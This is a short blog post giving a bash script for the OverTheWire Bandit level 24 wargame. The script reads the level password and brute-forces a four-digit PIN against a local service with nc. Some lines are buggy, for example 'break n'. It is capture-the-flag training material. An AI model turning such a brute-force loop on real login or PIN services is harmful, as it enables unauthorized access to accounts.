OverTheWire Bandit24 script

rm out

p=`cat /etc/bandit_pass/bandit24`
echo $p

ln=$"\r\n"
echo "0-999"
i=0

until [ $i == 1000 ]
do
  n="0$i";
  until [ ${#n} == 4 ]
  do
    n="0$n"
  done

  echo "$p $n"
  res=$(echo -n "$p $n" | nc localhost 30002) >> out
  echo "res: $ln $res"
  ((i++))

  if [[ $res =~ .*Correct.* ]]
  then
    i=25000
    break n
  fi
done

until [ $i == 10000 ]
do
  echo "$p $i"
  res=$(echo -n "$p $i" | nc localhost 30002) >> out
  echo "res: $ln $res"

  if [[ $res =~ .*Correct.* ]]
  then
    break n
  fi

  ((i++))
done

Comments

Popular posts from this blog

OverTheWire[.com] Natas Walkthrough - JUST HINT, NO SPOILERS

SOLVED The item could not be indexed successfully because the item failed in the indexing subsystem

Asp.Net Ending Response options, Response.End() vs CompleteRequest()